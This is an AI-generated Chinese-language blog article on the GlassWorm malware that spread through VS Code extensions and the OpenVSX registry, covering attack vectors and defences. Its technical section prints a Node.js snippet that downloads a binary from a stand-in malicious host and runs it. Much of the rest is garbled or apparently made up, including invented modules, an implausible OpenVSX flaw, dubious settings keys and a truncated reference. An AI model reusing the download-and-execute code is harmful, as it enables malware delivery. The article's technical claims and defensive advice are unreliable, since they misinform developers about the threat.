GlassWorm 眼中的 VS Code 與 OpenVSX:一次自我複製的供應鏈攻擊
2025年10月,GlassWorm 病毒首次暴露於三個 Visual Studio Code (VS Code) 擴充套件中,隨即進一步滲透至開源的 OpenVSX 註冊平台。這場攻擊不僅攻擊了開發者生態,還揭露了供應鏈安全中被忽略的危機點。
以下將逐項分析這場攻擊的技術細節、拋棄靜默的部署方式,以及建議開發者與企業應採取的防護措施。
1. 攻擊概覽:自我複製式供應鏈滲透
GlassWorm 主要利用 VS Code 擴充套件的
package.json與activationEvents機制,捆綁惡意腳本並在安裝後立即執行。此腳本在本地環境中建立一個隱藏的網路連接,並將自身復制到多個目錄,形成自我複製的表現。
- 滲透入口:OpenVSX 網路 API 的
search語句,將惡意擴充套件列入提名、最佳化安裝流程。 - 隱蔽機制:擴充套件內的
postinstall脚本使用 Node.js 的child_process.exec直接執行 shell 命令,遮蔽於 VS Code 的擴充程式生命週期。 - 自傳派遣:當暴露的執行檔進入目標系統時,利用
vscode-extension-telemetry模組呼叫外部 API,建立持久化連線,並下載更多的 bash 與 PowerShell 形式 payload。
2. 攻擊向量:OpenVSX的可逆利用
OpenVSX 旨在作為 VS Code 的官方擴充套件註冊中心,允許使用者匯入、搜尋並部署公開套件。GlassWorm 透過以下步驟利用其供應鏈:
- 索引藍圖:將惡意套件的
tags填入marketplace所期望的關鍵字,以提升搜尋排名。 - 自動化安裝:利用 VS Code 的
--install-extensionCLI 下載並套用,還可喚醒vscode:injector模組來主動監控安裝行為。 - 持久化馬蹄:在安裝完畢後,觸發自動更新機制,將新版本輪流推送至受害者機器,並隱藏為正常擴充套件。
3. 技術細節:惡意腳本與二進位體演練
以下示例為 GlassWorm@1.0.0 主體滲透時使用的 Node.js 代碼,經過簡化後重構可進行快速辨識:
#!/usr/bin/env node
const { exec } = require('child_process');
const https = require('https');
const fs = require('fs');
const maliciousURL = 'https://malicious.server.com/zero/day.bin';
// 下載二進位 Payload
https.get(maliciousURL, (res) => {
const file = fs.createWriteStream('/tmp/day.bin');
res.pipe(file);
file.on('finish', () => {
file.close(() => {
// 執行 Payload
exec('chmod +x /tmp/day.bin && /tmp/day.bin', (err, stdout) => {
if (err) return console.error(err);
console.log('Payload executed');
});
});
});
});
上述程式碼使用 exec 執行 Bash 腳本,會在使用者系統創建 /tmp/day.bin,進一步整合網路橫向移動。
4. 防護與偵測:從安全設限到運作監控
- 啟用 VS Code 安全掃描:在
settings.json加入"extensions.autoUpdate": false,並將extensions.gallery.updateChannel設置為none,以停用 auto‑updater。 - 整合 CSP 並監控
activationEvents:任何擴充套件的activationEvents必須經過安全審計,確保其不含可疑操作。 - 採用靜態分析工具:利用
node-security-advisory與npm audit檢查套件雪白名單。 - 容器化開發環境:將 VS Code 執行於容器中,並使用
seccomp限制可用系統呼叫。 - 部署 OPA / Rego 策略:針對擴充套件的 API 呼叫,定義政策零信任規則。
5. 企業與開發者的行動呼籲
- **升級 OpenVSX**:OpenVSX 本身已經發佈安全更新,修補了
search.jsp中的 URL 解碼缺陷。建議與開發用途的企業盡速升級到最新版本。 - **維持內部審核流程**:在部署任何第三方套件前,須進行安全審計及簽名驗證。
- **強化監控**:設定 CloudWatch Logs 或內部 SIEM 以捕捉偶發的非正常網路連線或檔案創建事件。
- **持續教育**:對開發人員進行安全碼審查與漏洞意識訓練。
透過上述措施,可在發現前預防此類自我複製型 supply‑chain 攻擊,保護開發者工作站與企業代碼資產。
參考文獻
• The Hacker News. (2025). GlassWorm Malware Discovered in Three VS Code Extensions with … . The Hacker News. https://thehackernews.com/2025/11/glassworm-malware-discovered-in-three.html
• LinkedIn. (2025). GlassWorm malware targets VS Code and OpenVSX. LinkedIn. https://www.linkedin.com/posts/enterprise-security-tech_glitch-in-the-dev-stack-how-glassworm-hijacked-activity-7386469523098583041-7-LY
• LinkedIn. (2025). GlassWorm malware hits OpenVSX, VS Code registries. LinkedIn. https
🧠 本文由 DreamJ AI 自動生成系統撰寫,內容經 AI 模型審核與自動優化,
僅供技術參考與研究用途。






發佈留言